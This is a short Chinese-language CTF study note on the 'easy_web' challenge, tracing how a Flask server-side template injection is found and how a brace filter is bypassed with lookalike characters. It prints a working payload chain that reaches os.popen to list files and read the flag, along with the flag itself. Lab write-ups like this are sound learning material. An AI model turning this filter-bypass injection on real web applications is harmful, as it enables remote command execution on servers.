CTF笔记
[学习笔记]攻防世界—easy_web
2025-03-17
•1 分钟•40 字打开场景

输入没什么用,我们用Burpsuite抓包试试

响应里面有 Werkzeug/2.0.2 Python/3.7.12 ,说明运行的是 Flask框架 ,我们可以尝试 SSTI 模版注入

提示包含限制字符,可能是 {} 被过滤了,我们尝试用其他的符号替换
这里我看了其他人的WP,最后使用了 ︷ 和 ︸ 符号替换了 {}
网站工具链接: https://www.ip138.com/
参考链接: https://blog.csdn.net/yuanxu8877/article/details/128101173

我们再发包试试(Burpsuite里面的特殊字符显示成方框了)

成功了,我们可以使用常用的 SSTI 命令查看所有模块:
︷︷[].__class__.__base__.__subclasses__()︸︸

我们需要找到 Popen类,搜索一下
我操作了一下,最后找到了他的行数286

我尝试构造了命令来ls文件:
‘单引号也被过滤了,我使用的是'
︷︷[].__class__.__base__.__subclasses__()[285].__init__.__globals__['os'].popen('ls').read()︸︸

我们再次向上查询flag,这里用空格会出问题,我们用+来代替空格

最后用cat直接查询flag

成功得到flag
flag{8f604f91-c36a-4413-bdaf-e786ffbfda61}
SSTI注入命令参考链接: https://blog.csdn.net/weixin_54515836/article/details/113778233